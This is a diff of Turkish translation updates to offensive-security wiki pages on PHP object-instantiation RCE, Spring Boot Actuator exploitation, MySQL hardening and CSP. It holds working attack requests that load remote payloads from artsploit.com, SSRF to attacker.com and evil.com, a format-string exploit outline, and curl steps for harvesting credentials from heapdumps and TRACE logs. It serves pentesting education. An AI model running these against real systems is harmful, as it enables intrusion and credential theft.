• Uygulama hesaplarından **`FILE`** ayrıcalığını kaldırın.
• Connector/J'de `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (boş) olarak ayarlayın.
• Connector/J üzerinde `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (boş) ayarlayın.
• Kullanılmayan kimlik doğrulama eklentilerini devre dışı bırakın ve **TLS'i zorunlu kılın** (`require_secure_transport = ON`).
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` ve ani `SET GLOBAL` ifadelerini izleyin.
---
## Referanslar
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)

View File

@ -1,4 +1,4 @@
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
# PHP - RCE: nesne oluşturma suistimali: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
@ -6,13 +6,13 @@ This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrar
## Giriş
new sorgusuna benzer keyfi nesnelerin oluşturulması, örneğin `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE)'ye yol açabilir; detaylar bir [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) içinde ele alınmıştır. Bu doküman RCE elde etmek için çeşitli stratejileri öne çıkarır.
Rastgele yeni nesnelerin oluşturulması, ör. `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE)'ye yol açabilir; detaylar bir [**inceleme**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Bu belge RCE elde etmek için çeşitli stratejileri özetlemektedir.
## RCE via Custom Classes or Autoloading
## RCE: Özel Sınıflar veya Otomatik Yükleme ile
`new $a($b)` sözdizimi, bir nesne oluşturmak için kullanılır; burada **`$a`** sınıf adını, **`$b`** ise konstruktöre geçirilen ilk argümanı temsil eder. Bu değişkenler GET/POST gibi kullanıcı girdilerinden gelebilir (string veya dizi olabilirler) veya JSON'dan geliyorlarsa farklı türlerde olabilirler.
`new $a($b)` sözdizimi, bir nesne örneği oluşturmak için kullanılır; burada **`$a`** sınıf adını, **`$b`** ise konstruktöre geçirilen ilk argümanı temsil eder. Bu değişkenler GET/POST gibi kullanıcı girdilerinden (string veya dizi olabilir) veya JSON'dan (farklı tiplerde görünebilir) elde edilebilir.
Aşağıdaki kod parçasını inceleyin:
Aşağıdaki kod parçasını düşünün:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
Bu durumda, `$a`'yı `App` veya `App2`'ye ve `$b`'yi bir sistem komutuna (ör. `uname -a`) ayarlamak, o komutun çalıştırılmasına neden olur.
Bu durumda, `$a`'yı `App` veya `App2` olarak, `$b`'yi ise bir sistem komutu (ör. `uname -a`) olarak ayarlamak, o komutun çalıştırılmasıyla sonuçlanır.
**Autoloading functions** doğrudan erişilebilir sınıflar yoksa istismar edilebilir. Bu fonksiyonlar ihtiyaç duyulduğunda sınıfları dosyalardan otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır:
**Autoloading functions** bu tür sınıflara doğrudan erişilemiyorsa kötüye kullanılabilir. Bu fonksiyonlar gerektiğinde dosyalardan sınıfları otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,72 +45,72 @@ include $class_name . '.php';
spl_autoload_register();
```
Autoloading davranışı PHP sürümlerine göre değişir ve farklı RCE imkanları sunar.
Autoloading davranışı PHP sürümlerine göre değişir ve farklı RCE olanakları sunar.
## RCE aracılığıyla Yerleşik Sınıflar
## Yerleşik Sınıflarla RCE
Özel sınıflar veya autoloader'lar yoksa, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve eklentilere bağlı olarak 100 ila 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler.
Özel sınıflar veya autoloader'lar yoksa, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve yüklü eklentilere bağlı olarak yaklaşık 100 ile 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler.
İlgili constructor'lar reflection API kullanılarak tespit edilebilir, aşağıdaki örnekte ve şu linkte gösterildiği gibi: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
İlgili yapıcılar reflection API aracılığıyla tespit edilebilir; örnek ve bağlantı şu adreste gösterilmektedir: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE via specific methods includes:**
**Belirli yöntemlerle RCE şunları içerir:**
### **SSRF + Phar Deserialization**
`SplFileObject` sınıfı constructor'ı üzerinden SSRF'ye izin verir, herhangi bir URL'ye bağlantılara olanak tanır:
`SplFileObject` sınıfı yapıcısı aracılığıyla SSRF'ye izin verir; herhangi bir URL'ye bağlantıya olanak tanır:
```php
new SplFileObject('http://attacker.com/');
```
SSRF, Phar protocol kullanılarak PHP 8.0'dan önceki sürümlerde deserialization attacks'e yol açabilir.
SSRF, Phar protokolünü kullanarak PHP 8.0'dan önceki sürümlerde deserialization saldırılarına yol açabilir.
### **Exploiting PDOs**
### **PDO'ların İstismarı**
PDO class constructor, DSN strings aracılığıyla veritabanlarına bağlantılara izin verir, potansiyel olarak dosya oluşturma veya diğer etkileşimleri mümkün kılabilir:
PDO sınıfının yapıcı fonksiyonu, DSN strings aracılığıyla veritabanlarına bağlanmaya izin verir; bu da potansiyel olarak dosya oluşturma veya diğer etkileşimlere olanak sağlayabilir:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
PHP'in 5.3.22 ve 5.4.12'ye kadar olan sürümleri, libxml2 sürümüne bağlı olarak `SoapClient` ve `SimpleXMLElement` yapıcıları aracılığıyla XXE saldırılarına açıktı.
PHP'in 5.3.22 ve 5.4.12'ye kadar olan sürümleri, libxml2 sürümüne bağlı olarak `SoapClient` ve `SimpleXMLElement` constructor'ları aracılığıyla XXE saldırılarına açıktı.
## RCE via Imagick Extension
Bir **projenin bağımlılıklarının** analizinde, yeni nesneler oluşturularak **Imagick**'in **komut yürütme** için kullanılabileceği keşfedildi. Bu, zafiyetleri istismar etme fırsatı sunar.
Bir projenin **bağımlılıklarının** analizinde, yeni nesneler oluşturarak **Imagick**'in **komut çalıştırma** için kullanılabileceği keşfedildi. Bu, zafiyetlerin istismar edilmesi için bir fırsat sunar.
### VID parser
VID parser'ın dosya sisteminde belirtilen herhangi bir yola içerik yazabilme yeteneği tespit edildi. Bu, web'den erişilebilir bir dizine bir PHP shell yerleştirilmesine ve Remote Code Execution (RCE) elde edilmesine yol açabilir.
VID parser'ın dosya sistemindeki herhangi bir belirtilen yola içerik yazma yeteneği tespit edildi. Bu, bir PHP shell'in web'e erişilebilir bir dizine yerleştirilmesine ve Remote Code Execution (RCE) elde edilmesine yol açabilir.
#### VID Parser + File Upload
PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` içinde tuttuğu not edilmiştir. Imagick'teki VID parser, **msl** protokolünü kullanarak dosya yollarında wildcard'ları işleyebilir ve geçici dosyanın seçilen bir konuma aktarılmasını kolaylaştırır. Bu yöntem, dosya sistemi içinde keyfi dosya yazma sağlamak için ek bir yol sunar.
PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` içinde sakladığı not edildi. Imagick içindeki VID parser, **msl** protokolünü kullanarak dosya yollarındaki joker karakterleri işleyebilir ve böylece geçici dosyanın seçilen bir konuma taşınmasını sağlar. Bu yöntem, dosya sistemi içinde rastgele dosya yazma elde etmek için ek bir yol sunar.
### PHP Crash + Brute Force
[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)'da açıklanan bir yöntem, silinmeden önce sunucu çökmesine yol açan dosyaların yüklenmesini içerir. Geçici dosyanın adını brute-force ile tahmin ederek, Imagick'in keyfi PHP kodu çalıştırması mümkün olabilir. Ancak bu teknik yalnızca eski bir ImageMagick sürümünde etkili bulunmuştur.
[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) içinde tanımlanan bir yöntem, silinmeden önce sunucu çökmesine neden olan dosyaların yüklenmesini içeriyor. Geçici dosyanın adını brute-forcing ile tahmin ederek, Imagick'in rastgele PHP kodu çalıştırması mümkün hale geliyor. Ancak bu teknik yalnızca eski bir ImageMagick sürümünde etkili bulundu.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Kullanıcı girdisi sınıf adını kontrol ettiğinde (ör. `new $_GET['model']()`), PHP 7.0.0 `Throwable` yeniden düzenlemesi sırasında geçici bir hata getirdi; motor sınıf adını çözümleme sırasında yanlışlıkla bir printf format stringi olarak ele aldı. Bu, PHP içinde klasik printf-tarzı ilkel işlemleri mümkün kılar: `%p` ile leaks, genişlik belirticileriyle yazma-sayısı kontrolü ve işlem içi pointer'lara (örneğin ELF derlemelerdeki GOT girdilerine) karşı `%n` ile rastgele yazmalar.
Kullanıcı girdisi sınıf adını kontrol ettiğinde (ör. `new $_GET['model']()`), PHP 7.0.0 `Throwable` yeniden düzenlemesi sırasında geçici bir hata getirdi; motor çözümleme sırasında sınıf adını yanlışlıkla printf format string'i olarak ele aldı. Bu, PHP içinde klasik printf-style primitiflerin kullanılmasını sağlar: `%p` ile leaks, genişlik belirleyicileriyle yazma-sayısı kontrolü ve süreç içi işaretçilere (ör. ELF build'lerinde GOT kayıtlarına) karşı `%n` ile rastgele yazmalar.
Minimal repro zafiyet deseni:
Minimal reproducible zafiyet örneği:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
İstismar özeti (kaynak referanstan):
- Sınıf adında `%p` kullanarak adresleri Leak ederek yazılabilir bir hedef bulun:
Exploitation outline (from the reference):
- Sınıf adında `%p` ile adresleri leak ederek yazılabilir bir hedef bulun:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Tam bir byte sayısı ayarlamak için pozisyonel parametreler ve genişlik belirticileri kullanın, sonra `%n` ile bu değeri stack'te erişilebilir bir adrese yazın; hedef olarak bir GOT slotunu (ör. `free`) seçip kısmi overwrite ile `system`'e yönlendirin.
- Bir class adı içinde shell pipe bulunan bir değer geçirerek ele geçirilmiş fonksiyonu tetikleyin ve `system("id")`'ye ulaşın.
- Pozisyonel parametreleri ve genişlik belirticilerini kullanarak tam bir byte sayısı ayarlayın, sonra `%n` ile bu değeri yığın üzerinde erişilebilir bir adrese yazın; amaç bir GOT slotuna (ör. `free`) işaret ederek kısmi overwrite ile `system`'e çevirmek.
- Bir sınıf adı içinde bir shell pipe geçirerek hijacked fonksiyonu tetikleyin ve `system("id")`'ye ulaşın.
Notlar:
- Yalnızca PHP 7.0.0'da çalışır (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); sonraki sürümlerde düzeltildi. Ciddiyet: eğer keyfi class instantiation mümkünse kritik.
- Tipik payload'lar stack'i gezmek için birçok `%p` zincirler, sonra kısmi overwrite'ı gerçekleştirmek için `%.<width>d%<pos>$n` kullanırlar.
Notes:
- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
- Tipik payloads birçok `%p` zincirleyerek yığını gezer, sonra kısmi overwrite'ı gerçekleştirmek için `%.<width>d%<pos>$n` kullanır.
## References

View File

@ -1,4 +1,4 @@
# Spring Actuators
# Spring Actuator'ları
{{#include ../../banners/hacktricks-training.md}}
@ -6,29 +6,29 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**Kaynak** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Spring Boot Actuator'larının İstismarı
## Spring Boot Actuator'larının Sömürülmesi
**Orijinal gönderiyi şuradan kontrol edin:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Orijinal gönderiyi kontrol edin:** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
### **Ana Noktalar:**
### **Önemli Noktalar:**
- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrasında varsayılan olarak yalnızca `/health` ve `/info` hassas olmayan olarak bırakılır, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
- Bazı Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir:
- Spring Boot Actuator'lar `/health`, `/trace`, `/beans`, `/env` vb. gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrası sürümlerde varsayılan olarak sadece `/health` ve `/info` non-sensitive (duyarlı olmayan) olarak kalır, fakat geliştiriciler genellikle bu güvenliği devre dışı bırakır.
- Belirli Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, ve `/heapdump`.
- Spring Boot 1.x'te actuator'lar kök URL altında kayıtlıyken, 2.x'te `/actuator/` temel yolu altındadır.
- Spring Boot 1.x'te actuator'lar root URL altında kayıtlı iken, 2.x'te `/actuator/` base path'i altında bulunur.
### **İstismar Teknikleri:**
### **Sömürme Teknikleri:**
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` actuator endpoint'i, Jolokia Library'yi açığa çıkarır ve bu, MBean'lere HTTP ile erişim sağlar.
- `reloadByURL` action'ı, harici bir URL'den logging konfigürasyonlarını yeniden yüklemek için suistimal edilebilir; bu, hazırlanmış XML konfigürasyonları üzerinden blind XXE veya Remote Code Execution'a yol açabilir.
- `/jolokia` actuator endpoint'i Jolokia Library'yi açığa çıkarır; bu, MBeans'e HTTP erişimine izin verir.
- `reloadByURL` action'ı, logging yapılandırmalarını harici bir URL'den yeniden yüklemek için kötüye kullanılabilir; bu, craft edilmiş XML konfigürasyonları aracılığıyla blind XXE veya Remote Code Execution'a yol açabilir.
- Örnek exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Konfigürasyon Değişikliği via '/env'**:
2. **Config Modification via '/env'**:
- Eğer Spring Cloud Libraries mevcutsa, `/env` endpoint'i çevresel özelliklerin değiştirilmesine izin verir.
- Özellikler, Eureka serviceURL'deki XStream deserialization açığı gibi zayıflıkları istismar etmek için manipüle edilebilir.
- Eğer Spring Cloud Libraries bulunuyorsa, `/env` endpoint'i ortam (environment) property'lerinin değiştirilmesine izin verir.
- Property'ler, örneğin Eureka serviceURL'deki XStream deserialization zafiyeti gibi açıkları tetiklemek için manipüle edilebilir.
- Örnek exploit POST isteği:
```
@ -40,30 +40,30 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Diğer Faydalı Ayarlar**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL injection veya veritabanı bağlantı stringlerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir.
3. **Diğer Yararlı Ayarlar**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi property'ler SQL injection veya veritabanı bağlantı string'lerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir.
### **Ek Bilgiler:**
- Varsayılan actuator'ların kapsamlı bir listesi [burada](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) bulunabilir.
- Spring Boot 2.x'teki `/env` endpoint'i, özellik değişiklikleri için JSON formatı kullanır; fakat genel konsept aynıdır.
- Varsayılan actuator'ların kapsamlı bir listesi şurada bulunabilir: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
- Spring Boot 2.x'teki `/env` endpoint'i property değişiklikleri için JSON formatını kullanır; fakat genel kavram aynıdır.
### **İlgili Konular:**
1. **Env + H2 RCE**:
- `/env` endpoint'i ile H2 veritabanının kombinasyonunun nasıl istismar edileceğine dair detaylar [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
- `/env` endpoint'i ile H2 veritabanının kombinasyonunu kullanarak istismar detayları şurada bulunabilir: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Spring framework'ünün HTTP yol adlarındaki matrix parametrelerini (`;`) işlemesi, Server-Side Request Forgery (SSRF) için kullanılabilir.
- Spring framework'ünün HTTP pathnames içinde matrix parametreleri (`;`) işlemesi yanlış yorumlanırsa Server-Side Request Forgery (SSRF) için kullanılabilir.
- Örnek exploit isteği:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump ile gizli bilgilerin çıkarılması (credentials, tokens, internal URLs)
## HeapDump secrets mining (credentials, tokens, internal URLs)
Eğer `/actuator/heapdump` ık durumdaysa, genellikle canlı gizli bilgileri içeren tam bir JVM heap snapshot'ı alabilirsiniz (DB creds, API anahtarları, Basic-Auth, dahili servis URL'leri, Spring property map'leri vb.).
Eğer `/actuator/heapdump` erişilebiliyorsa, genellikle canlı secret'lar (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps vb.) içeren tam bir JVM heap snapshot'ı alabilirsiniz.
- İndir ve hızlı ön inceleme:
```bash
@ -75,32 +75,32 @@ printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Daha derin analiz için VisualVM ve OQL:
- Heapdump'ı VisualVM ile açın, `java.lang.String` örneklerini inceleyin veya gizli bilgileri aramak için OQL çalıştırın:
- Heapdump'ı VisualVM ile açın, `java.lang.String` örneklerini inceleyin veya secret avlamak için OQL çalıştırın:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- JDumpSpider ile otomatik çıkarım:
- Otomatik çıkartma için JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Tipik yüksek değerli bulgular:
- `DataSourceProperties` / `HikariDataSource` gibi Spring nesneleri `url`, `username`, `password` bilgilerini açığa çıkarabilir.
- `OriginTrackedMapPropertySource` girdileri `management.endpoints.web.exposure.include`, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka `defaultZone`) gibi bilgileri ifşa edebilir.
- Bellekte yakalanmış `Authorization: Basic ...` içeren düz HTTP istek/yanıt parçaları.
- `OriginTrackedMapPropertySource` girdileri `management.endpoints.web.exposure.include`, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka `defaultZone`) gibi bilgileri ortaya çıkarır.
- Bellekte yakalanmış `Authorization: Basic ...` içeren düz HTTP istek/yanıt parçacıkları.
İpuçları:
- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve her zaman `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` ve `/actuator/configprops`'un da açık olup olmadığını kontrol edin.
- Heapdump'tan elde edilen credentials genellikle bitişik servisler için ve bazen sistem kullanıcıları (SSH) için de çalışır; bu yüzden genişçe deneyin.
- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve ayrıca `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` ve `/actuator/configprops`'un da açık olup olmadığını kontrol edin.
- Heapdump'tan elde edilen credentials genellikle bitişik servislerde ve bazen sistem kullanıcılarında (SSH) da işe yarar; bu yüzden geniş çapta deneyin.
## Actuator loggers/logging'i kötüye kullanarak kimlik bilgilerini yakalama
## Abusing Actuator loggers/logging to capture credentials
Eğer `management.endpoints.web.exposure.include` izin veriyorsa ve `/actuator/loggers` ık durumdaysa, kimlik doğrulama ve istek işleme paketleri için log seviyesini dinamik olarak DEBUG/TRACE seviyesine çıkarabilirsiniz. `/actuator/logfile` veya bilinen log yolları üzerinden okunabilir loglarla birleştirildiğinde, bu login akışları sırasında gönderilen kimlik bilgileri (ör. Basic-Auth header'ları veya form parametreleri) sızdırılabilir.
Eğer `management.endpoints.web.exposure.include` izin veriyorsa ve `/actuator/loggers` erişilebiliyorsa, kimlik doğrulama ve istek işleme paketleri için dinamik olarak log seviyesini DEBUG/TRACE'e yükseltebilirsiniz. Okunabilir loglarla ( `/actuator/logfile` veya bilinen log yolları aracılığıyla) birleştiğinde, bu giriş akışlarında gönderilen credentials'ların (ör. Basic-Auth header'ları veya form parametreleri) sızmasına neden olabilir.
- Duyarlı logları listeleyin ve yükseltin:
- Duyarlı logger'ları listeleyip yüksek seviyeye çıkarma:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Logların nerede yazıldığını bulun ve toplayın:
- Logların nerelere yazıldığını bulup toplama:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Login/authentication trafiğini tetikleyin ve logları kimlik bilgileri için parse edin. Gateway ile önüne konulan auth içeren mikroservis kurulumlarında, gateway/security paketleri için TRACE etkinleştirmek genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlar periyodik olarak sentetik login trafiği bile üretebilir; logging verbose hale geldiğinde bu tür verilerin toplanması çok kolay olabilir.
- Giriş/kimlik doğrulama trafiğini tetikleyin ve loglarda credential'ları parse edin. Bir gateway'in auth önünde olduğu mikroservis kurulumlarında, gateway/security paketleri için TRACE açmak genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlarda periyodik olarak sentetik login trafiği üretilir; bu durumda verbose logging etkinleştirildiğinde toplama çok kolaylaşır.
Notlar:
- İşiniz bittiğinde log seviyelerini sıfırlayın: `POST /actuator/loggers/<logger>` ile `{ "configuredLevel": null }`.
- Eğer `/actuator/httpexchanges`ık ise, hassas header'ları içerebilecek son istek meta verilerini de gösterebilir.
- İş bitince log seviyelerini sıfırlayın: `POST /actuator/loggers/<logger>` ile `{ "configuredLevel": null }`.
- `/actuator/httpexchanges` erişilebiliyorsa, hassas header'lar da dahil olmak üzere son istek meta verilerini gösterebilir.
## Referanslar
## References
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## CSP Nedir
## CSP nedir
Content Security Policy (CSP), öncelikle cross-site scripting (XSS) gibi saldırılara karşı korunmayı amaçlayan bir tarayıcı teknolojisi olarak kabul edilir. Tarayıcıların güvenli bir şekilde yükleyebileceği kaynakların hangi yollar ve hangi kaynaklardan geleceğini tanımlayıp detaylandırarak çalışır. Bu kaynaklar resimler, frame'ler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika aynı alanın (self) kaynaklarının yüklenmesine ve yürütülmesine izin verebilir; buna satır içi kaynaklar ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlarla string kod yürütme dahildir.
Content Security Policy (CSP), esasen **cross-site scripting (XSS) gibi saldırılara karşı koruma sağlamayı** amaçlayan bir tarayıcı teknolojisi olarak bilinir. Tarayıcının güvenli bir şekilde yükleyebileceği kaynakların yollarını ve kaynak kaynaklarını belirleyip tanımlayarak çalışır. Bu kaynaklar resimler, frame'ler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına, inline kaynaklara ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodun yürütülmesine izin verebilir.
CSP'nin uygulanması **response headers** aracılığıyla veya HTML sayfasına **meta elements** eklenerek yapılır. Bu politikayı takiben, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen herhangi bir ihlali hemen engeller.
CSP, **response headers** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** uygulanır. Tarayıcılar bu politikayı proaktif olarak uygular ve tespit edilen ihlalleri anında engeller.
- Yanıt başlığı aracılığıyla uygulanır:
- Yanıt başlığı (response header) aracılığıyla uygulanır:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Meta etiketi ile uygulanır:
- meta tag ile uygulanır:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Başlıklar
CSP bu header'lar kullanılarak uygulanabilir veya izlenebilir:
CSP bu başlıklar kullanılarak zorlanabilir veya izlenebilir:
- `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.
- `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test için idealdir.
- `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri bildirir ancak engellemez. Üretim öncesi ortamlarda test için idealdir.
### Kaynakların Tanımlanması
CSP, hem aktif hem de pasif içeriğin yüklenebileceği origin'leri kısıtlar; satır içi JavaScript çalıştırma ve `eval()` kullanımı gibi öğeleri kontrol eder. Örnek bir politika şu şekildedir:
CSP, aktif ve pasif içeriğin yüklenmesi için origin'leri kısıtlar; satır içi JavaScript yürütülmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Örnek bir politika:
```bash
default-src 'none';
img-src 'self';
@ -39,42 +39,42 @@ object-src 'none';
```
### Direktifler
- **script-src**: JavaScript için URL'ler, inline scriptler ve olay işleyicileri veya XSLT stylesheet'leri tarafından tetiklenen scriptler dahil olmak üzere belirli kaynaklara izin verir.
- **default-src**: Belirli fetch direktifleri yoksa kaynakların alınması için varsayılan bir politika belirler.
- **child-src**: web worker'lar ve gömülü frame içeriği için izin verilen kaynakları belirtir.
- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
- **frame-src**: frame'ler için URL'leri kısıtlar.
- **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir; `<frame>`, `<iframe>`, `<object>`, `<embed>`, ve `<applet>` gibi öğelere uygulanır.
- **img-src**: Görüntüler için izin verilen kaynakları tanımlar.
- **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.
- **script-src**: JavaScript için belirli kaynaklara izin verir; bunlar URL'ler, satır içi script'ler ve olay işleyicileri veya XSLT stil sayfaları tarafından tetiklenen script'leri içerir.
- **default-src**: Belirli fetch direktifleri yoksa kaynakların getirilmesi için varsayılan politikayı belirler.
- **child-src**: Web worker'lar ve gömülü frame içerikleri için izin verilen kaynakları belirtir.
- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzlerle yüklenebilecek URL'leri kısıtlar.
- **frame-src**: Frame'ler için URL'leri kısıtlar.
- **frame-ancestors**: Mevcut sayfayı gömebilecek kaynakları belirtir; `<frame>`, `<iframe>`, `<object>`, `<embed>`, ve `<applet>` gibi elementlere uygulanır.
- **img-src**: Görseller için izin verilen kaynakları tanımlar.
- **font-src**: `@font-face` ile yüklenen fontlar için geçerli kaynakları belirler.
- **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
- **media-src**: Medya nesnelerinin yüklenmesi için izin verilen kaynakları tanımlar.
- **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar.
- **base-uri**: `<base>` öğeleri kullanılarak yükleme için izin verilen URL'leri belirtir.
- **media-src**: Medya nesnelerinin yüklenebileceği izin verilen kaynakları tanımlar.
- **object-src**: `<object>`, `<embed>`, ve `<applet>` elementleri için izin verilen kaynakları tanımlar.
- **base-uri**: `<base>` elementleriyle yükleme yapılabilecek izin verilen URL'leri belirtir.
- **form-action**: Form gönderimleri için geçerli uç noktaları listeler.
- **plugin-types**: Bir sayfanın çağırabileceği mime tiplerini kısıtlar.
- **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'e yeniden yazmasını söyler.
- **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
- **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'e yeniden yazmalarını talimat verir.
- **sandbox**: `<iframe>`'in sandbox özniteliğine benzer kısıtlamalar uygular.
